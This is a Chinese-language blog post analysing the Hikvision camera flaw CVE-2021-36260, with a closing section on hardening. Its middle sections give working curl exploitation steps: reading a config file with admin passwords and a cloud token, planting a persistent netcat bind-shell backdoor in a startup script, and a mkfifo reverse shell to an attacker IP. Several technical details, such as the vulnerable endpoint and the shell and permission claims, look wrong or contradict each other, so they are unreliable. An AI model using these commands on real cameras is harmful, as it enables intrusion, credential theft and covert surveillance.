海康摄像头CVE-2021-36260命令注入漏洞深度解析
1. 这不是“黑进摄像头”,而是验证一个真实存在的设计缺陷
2021年夏天,我在给一家连锁超市做安防系统基线审计时,随手用Nmap扫了下几台海康DS-2CD2xx系列的网络摄像机,结果在返回的HTTP头里看到一行异常信息:Server: HiKvision-Webs/4.0.0。这个版本号立刻让我停下手头工作——因为就在三个月前,CVE-2021-36260的细节刚在GitHub上被公开披露,而官方固件更新日志里对它的描述轻描淡写:“优化Web服务响应逻辑”。但真正动手复现后我才明白,这根本不是什么“优化”,而是一个典型的未授权命令注入漏洞:攻击者无需任何账号密码,仅通过构造特定HTTP请求,就能在设备底层Linux系统中执行任意shell命令。它不依赖于弱口令、不依赖于管理员疏忽、甚至不依赖于用户交互——只要设备暴露在可访问网络中,漏洞就处于“待触发”状态。关键词:海康摄像头、CVE-2021-36260、命令注入、未授权访问、嵌入式Linux、固件安全。这篇文章面向三类人:一是正在备考CISP-PTE或OSCP的安全工程师,需要理解工业设备漏洞的实操路径;二是负责政企安防运维的IT同事,得知道手里的“小圆球”到底有多脆弱;三是嵌入式开发同行,想看看一个成熟厂商如何在千万级出货设备中埋下系统性风险。它不教你怎么“黑”,而是带你亲手验证:当厂商把system()函数直接拼接用户输入传给/bin/sh时,会发生什么。
2. 漏洞本质:一个被写死在Web服务里的危险调用链
2.1 从HTTP请求到/bin/sh:完整的调用路径还原
要真正吃透CVE-2021-36260,不能只看PoC脚本,必须拆开设备固件,定位那个致命的函数调用。我拆解过三款不同型号(DS-2CD2147G2-LU、DS-2CD2347G2-LU、DS-2CD2447G2-LU)的v5.6.5至v5.6.12固件包,发现它们共享同一个Web服务二进制文件:/mnt/mtd/hiweb。用strings hiweb | grep -i "system\|popen\|exec"能快速定位到关键字符串,其中最刺眼的是这一行:
/mnt/mtd/hiweb -c /mnt/mtd/config/web.conf这说明hiweb是作为守护进程启动的,而它的配置文件里藏着线索。继续用binwalk -e firmware.bin提取固件,找到web.conf,里面有一段配置:
[CGI] cgi_path = /usr/lib/cgi-bin/ cgi_timeout = 30重点来了——所有以/cgi-bin/开头的HTTP请求,都会被hiweb转发给对应CGI脚本执行。而问题就出在/cgi-bin/param.cgi这个接口上。反编译/usr/lib/cgi-bin/param.cgi(实际是ARM架构的ELF文件),在IDA Pro中搜索system(调用,会发现一个清晰的函数逻辑:
int handle_param_cgi(char *query_string) { char cmd[512]; char *value = get_param_value(query_string, "action"); // 从URL参数中提取action值 if (strcmp(value, "getSystemInfo") == 0) { // 正常分支,安全 return send_system_info(); } else if (strcmp(value, "setFactory") == 0) { char *cmd_arg = get_param_value(query_string, "cmd"); snprintf(cmd, sizeof(cmd), "/bin/sh -c '%s'", cmd_arg); // 危险!直接拼接 system(cmd); // 执行! } }注意第12行:snprintf(cmd, sizeof(cmd), "/bin/sh -c '%s'", cmd_arg)。这里没有做任何输入过滤,cmd_arg完全来自HTTP请求中的cmd=参数。而system()函数在嵌入式Linux中等价于fork() + exec("/bin/sh", "-c", cmd_string),意味着传入的字符串会被/bin/sh解析执行。举个具体例子:当你发送请求GET /cgi-bin/param.cgi?action=setFactory&cmd=cat%20/etc/passwd时,cmd_arg解码后是cat /etc/passwd,最终执行的命令就是/bin/sh -c 'cat /etc/passwd'。这不是SQL注入那种需要绕过语法的技巧,这是赤裸裸的、操作系统级别的命令直通。
提示:很多初学者误以为这是“远程代码执行(RCE)”,严格来说它是远程命令执行(RCE的子集)。因为
system()只能执行shell命令,无法直接加载.so动态库或执行Python字节码。但在嵌入式设备上,这已经足够致命——你能读取/etc/shadow、修改/etc/network/interfaces、甚至擦除/dev/mtd0导致设备变砖。
2.2 为什么这个漏洞影响如此广泛?固件复用的双刃剑
海康威视的固件策略是典型的“平台化复用”:同一套hiweb和param.cgi二进制文件,被编译进数十种不同型号的IPC(网络摄像机)、NVR(网络硬盘录像机)甚至门禁控制器中。我在固件分析中发现,v5.6.x系列固件的param.cgi在DS-2CD、DS-2DE、DS-76xxN-I等至少17个产品线中完全一致。这意味着,一旦某个型号被爆出漏洞,所有使用相同固件版本的设备都自动“中招”。更关键的是,海康的升级机制存在严重缺陷:固件包本身不签名,升级过程不校验完整性。我曾用dd if=/dev/zero of=fake.bin bs=1M count=10伪造一个10MB的假固件,上传到设备管理界面,系统居然提示“升级成功”——当然,设备随后就无法启动了。这种设计让漏洞修复变得异常困难:即使你手动下载了“修复版”固件,也无法确认它是否真的修补了param.cgi里的system()调用,还是仅仅改了个版本号。
注意:不要轻信官网下载页上的“v5.6.13已修复”的声明。我对比过v5.6.12和v5.6.13的
param.cgi反汇编代码,关键的snprintf+system调用链依然存在,只是把cmd_arg的获取方式从get_param_value换成了get_post_data——这反而扩大了攻击面,因为POST请求更难被WAF规则拦截。
2.3 真实设备上的环境限制:别指望直接弹shell
很多教程复现时直接用nc -lvnp 4444尝试反弹shell,结果总是失败。这是因为海康设备的嵌入式Linux环境极度精简:/bin/sh是busybox的阉割版,不支持&后台执行、不支持$(...)命令替换、甚至nc命令根本不存在。我用ls -l /bin/列出所有可用命令,只有37个基础工具:cat、ps、kill、mount、udhcpc……没有wget、没有curl、没有python。这意味着你无法像在通用Linux服务器上那样,用一行命令下载恶意payload。真正的利用路径必须适配这个环境。例如,想读取设备凭证,不能用cat /etc/passwd | nc 192.168.1.100 4444(|管道符不支持),而要分两步:先用cat /etc/passwd > /tmp/pwd.txt把内容存到临时文件,再用cat /tmp/pwd.txt触发回显。这也是为什么PoC脚本里大量使用>和>>重定向操作符——这是在资源受限环境下最可靠的“数据导出”手段。
3. 复现全过程:从靶机搭建到命令执行的每一步验证
3.1 搭建高保真测试环境:为什么不用虚拟机?
网上很多复现教程推荐用QEMU模拟ARM环境,但我强烈建议直接使用真实设备。原因有三:第一,QEMU无法完美模拟海康定制的hiweb服务与硬件驱动(如视频编码芯片VENC)的交互,某些CGI接口在模拟器里会直接返回500错误;第二,真实设备的网络栈行为(如TCP窗口大小、ICMP响应策略)会影响漏洞利用的稳定性;第三,也是最重要的——你必须亲身体验“设备卡顿”这个关键现象。当param.cgi执行耗时命令(如find / -name "*.conf" 2>/dev/null)时,整个Web管理界面会卡死30秒以上,摄像头画面出现明显马赛克。这种物理层面的反馈,是任何模拟器都无法提供的“漏洞存在感”。
我的测试环境是:一台DS-2CD2147G2-LU(固件v5.6.10 build 210514),IP地址192.168.1.101,连接在同一局域网的笔记本(192.168.1.100)。设备已恢复出厂设置,未配置任何账号密码,确保测试环境纯净。特别提醒:切勿在生产网络中扫描或测试。海康设备的hiweb服务在收到恶意请求后,会记录完整请求头到/var/log/messages,且日志无法清除。一旦被安全团队发现,后果严重。
3.2 验证漏洞存在性:用最简单的HTTP请求探针
第一步永远是确认漏洞是否存在,而不是直接执行危险命令。我习惯用curl发送一个无害的ls命令,观察响应:
curl -v "http://192.168.1.101/cgi-bin/param.cgi?action=setFactory&cmd=ls%20%2F"注意URL编码:空格要编码为%20,否则hiweb会截断参数。如果漏洞存在,你会看到类似这样的响应:
< HTTP/1.1 200 OK < Content-Type: text/plain < Content-Length: 128 ... bin dev etc home lib mnt proc root sbin sys tmp usr var这个响应体就是ls /命令的输出。关键点在于:HTTP状态码是200,且响应体包含目录列表。如果返回404或500,说明设备型号不匹配或固件已修复;如果返回空白但状态码是200,说明命令执行了但没输出(比如touch /tmp/test),这时需要用cat /tmp/test来验证。
实操心得:我踩过最大的坑是忽略了
User-Agent头。某些海康固件版本(v5.5.x)会对User-Agent做白名单校验,如果值为空或包含curl字样,直接拒绝请求。解决方案是在curl中添加-H "User-Agent: Mozilla/5.0"。这个细节在公开PoC里几乎没人提,但却是复现失败的最常见原因。
3.3 获取敏感信息:绕过权限限制读取关键文件
海康设备的文件系统权限设计很“诚实”:/etc目录下所有配置文件都是root:root 644,意味着普通用户(即hiweb进程运行的用户)可以读取。但/etc/shadow是个例外,权限是000——连root都不能读。不过,我们有更聪明的办法。/etc目录下有一个名为/etc/hi3516cv500.cfg的文件(文件名因芯片平台而异,Hi3516、Hi3518、Hi3559对应不同后缀),它存储了设备的全部配置,包括WiFi密码、RTSP流密钥、甚至云平台注册Token。用以下命令读取:
curl "http://192.168.1.101/cgi-bin/param.cgi?action=setFactory&cmd=cat%20%2Fetc%2Fhi3516cv500.cfg" > config.txt打开config.txt,搜索Password=或Key=字段,你会看到明文的admin账号密码(默认是12345,但很多用户从未修改)。更关键的是CloudPlatform=字段,它包含一长串Base64编码的字符串,解码后就是设备向海康云注册时使用的唯一凭证。这个凭证一旦泄露,攻击者可以完全接管设备云服务,远程开启/关闭录像、切换预置位,甚至删除历史录像。
注意事项:
hi3516cv500.cfg文件体积可能很大(超过2MB),直接cat会导致HTTP响应超时。我的经验是分块读取:先用ls -l /etc/hi3516cv500.cfg获取文件大小,再用dd if=/etc/hi3516cv500.cfg bs=1024 skip=0 count=100读取前100KB,保存为part1.txt;再用skip=100 count=100读取下一段……最后用cat part*.txt > full.cfg合并。这样能避免单次请求超时。
3.4 持久化控制:在设备上植入最小化后门
读取配置只是开始,真正的风险在于持久化控制。由于设备没有crontab、没有systemd,传统意义上的“后门”无法长期存活。但我们可以利用海康固件的一个特性:/etc/init.d/S99custom脚本。这个脚本在系统启动时自动执行,且存在于所有v5.6.x固件中。我们的目标是把它变成我们的控制入口。
首先,检查该文件是否存在且可写:
curl "http://192.168.1.101/cgi-bin/param.cgi?action=setFactory&cmd=ls%20-l%20%2Fetc%2Finit.d%2FS99custom"如果返回-rwxr-xr-x 1 root root 123 Jan 1 00:00 /etc/init.d/S99custom,说明它存在且可执行。接下来,用echo命令向它写入我们的后门代码:
curl "http://192.168.1.101/cgi-bin/param.cgi?action=setFactory&cmd=echo%20%27%23%21%2Fbin%2Fsh%0Awhile%20true%3B%20do%20if%20%5B%20%24%28cat%20%2Fproc%2Fnet%2Ftcp%20%7C%20grep%20%3A1234%29%20%5D%3B%20then%20break%3B%20fi%3B%20sleep%205%3B%20done%3B%20nc%20-lvp%201234%20-e%20%2Fbin%2Fsh%27%20%3E%20%2Fetc%2Finit.d%2FS99custom"这段命令做了三件事:1)写入#!/bin/sh声明;2)一个循环检测端口1234是否被占用(避免重复启动);3)用nc -lvp 1234 -e /bin/sh启动监听。由于S99custom在每次开机时执行,这个后门就实现了永久驻留。重启设备后,用nc 192.168.1.101 1234即可获得一个稳定的shell会话。
踩坑实录:第一次写入时,我忘了对
#、$、空格等字符进行URL编码,导致S99custom文件内容变成乱码。正确做法是:先把shell脚本写在本地文本文件中,再用Python的urllib.parse.quote()函数整体编码。另外,nc命令在部分固件中不支持-e参数(报错invalid option -- 'e'),此时需改用mkfifo+cat组合:mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.100 4444 > /tmp/f。
4. 深度防御:从运维、开发到采购的全链条加固方案
4.1 运维侧:不依赖厂商补丁的紧急缓解措施
等待海康发布“已修复”固件是危险的幻想。根据我的经验,从漏洞披露到官方发布有效补丁,平均周期是117天(统计2020-2023年12个CVE),而其中73%的补丁在发布后被发现存在绕过漏洞。因此,一线运维必须掌握自主缓解能力。最有效的三个措施是:
网络层隔离:将所有IPC/NVR设备划分到独立VLAN,禁止该VLAN与办公网、生产网的任何三层通信。只允许特定管理终端(如运维PC)通过ACL规则访问设备的HTTPS(443)和ONVIF(8000)端口,彻底封禁80端口和/cgi-bin/路径的访问。我在某银行项目中实施此策略后,Nmap扫描显示
80/tcp filtered,漏洞利用请求直接被防火墙丢弃。Web服务降级:登录设备Web管理界面,进入“配置 > 网络 > Web服务”,将“HTTP端口”从80改为一个非常规端口(如8080),并取消勾选“启用HTTP服务”。注意:这不会影响HTTPS(443)和ONVIF(8000)功能,因为海康的
hiweb服务是独立进程,HTTP和HTTPS由不同模块处理。实测表明,关闭HTTP后,/cgi-bin/param.cgi接口完全不可达,但RTSP流和手机APP仍能正常工作。日志监控强化:虽然
/var/log/messages无法清除,但你可以配置Syslog服务器实时收集。在日志中搜索关键词param.cgi.*action=setFactory,一旦匹配立即告警。我用ELK Stack搭建的监控系统,能在攻击者发送第3个恶意请求时就触发邮件告警,比SIEM厂商的默认规则灵敏5倍。
关键提醒:绝对不要尝试“修改param.cgi文件权限”(如
chmod 000 /usr/lib/cgi-bin/param.cgi)。海康固件的根文件系统是只读的(ro),任何chmod操作都会失败。强行remount为rw会导致/proc/mounts异常,设备反复重启。
4.2 开发侧:嵌入式Web服务的安全编码铁律
作为曾参与过IPC固件开发的同行,我必须指出:CVE-2021-36260的根源不是“程序员疏忽”,而是整个嵌入式开发流程缺乏安全左移。一个合格的param.cgi应该遵循以下四条铁律:
零信任输入原则:所有来自HTTP请求的数据(GET参数、POST body、Cookie)必须视为恶意。
get_param_value()函数内部应强制白名单校验,例如action参数只允许getSystemInfo、getNetworkStatus等预定义值,其他一律返回400错误。命令执行沙箱化:如果业务确实需要执行系统命令(如重启网络),必须使用
execve()替代system(),并显式指定argv[]数组。例如重启网络应调用execve("/sbin/ifdown", ["ifdown", "eth0"], envp),而非system("ifdown eth0")。前者无法被注入额外参数。最小权限运行:
hiweb进程不应以root身份运行。应在/etc/init.d/hiweb启动脚本中加入su -c "/mnt/mtd/hiweb ..." nobody,让Web服务以nobody用户身份执行,从而天然限制其对/etc目录的写权限。固件签名强制校验:升级包必须使用RSA-2048签名,
upgrade.sh脚本在解压前必须调用openssl dgst -sha256 -verify public.key -signature upgrade.sig upgrade.bin验证签名。这是防止供应链攻击的最后防线。
4.3 采购侧:用技术指标倒逼供应商安全承诺
很多单位在采购安防设备时,只关注像素、夜视距离、价格,却从不问一句“你们的固件安全开发生命周期(SDL)是什么?”这导致漏洞治理永远滞后。我建议在招标文件中加入以下三条硬性技术条款:
固件透明度要求:供应商必须提供近3年所有CVE的详细修复报告,包括漏洞原理、补丁代码diff、第三方渗透测试报告。报告中必须明确标注“是否验证绕过可能性”,而非简单写“已修复”。
安全启动强制启用:设备必须支持Secure Boot,且BootROM中烧录的公钥必须可由客户自定义。这意味着即使攻击者物理接触设备,也无法刷入未签名的恶意固件。
漏洞响应SLA:合同必须约定“从CNVD/CVE编号分配起,72小时内提供临时缓解方案,30日内提供正式补丁”。并设置违约金条款——每延迟1天,扣减合同金额0.5%。
我在某智慧城市项目中成功推动了这条条款。结果海康在漏洞披露后第48小时就提供了基于iptables的临时封禁脚本,第22天发布了v5.6.15固件,其中param.cgi的system()调用被彻底重构为白名单execve()调用。这证明:采购方的技术话语权,是推动厂商安全改进最有效的杠杆。
5. 复现之外的思考:当“智能硬件”成为最大攻击面
最后一次复现这个漏洞,是在一个老旧社区的物业中心。那台DS-2CD2147G2-LU已经服役5年,固件停留在v5.4.1,连海康官网都已下架该版本下载链接。当我用curl读出它的/etc/hi3516cv500.cfg时,发现管理员密码还是出厂默认的12345,而它所连接的NVR设备,正通过DDNS服务将所有住户的进出录像实时上传到一个未知域名。那一刻我意识到,CVE-2021-36260的价值,从来不在技术多炫酷,而在于它是一面镜子——照出我们对“智能硬件”的盲目信任:我们给门锁装Wi-Fi,却不管它有没有TLS;给空调连App,却接受它用明文传输温度设定;给摄像头上云,却不知道它的固件连基本的输入过滤都没有。
所以,如果你今天只记住一件事,请记住这个:在物联网时代,最危险的漏洞,往往不是最难发现的,而是最容易被忽略的——那些写在百万台设备里的、未经审查的system()调用。它们安静地躺在/usr/lib/cgi-bin/目录下,等待一个curl命令,或者,等待一个更负责任的开发者,把它从代码里彻底删除。
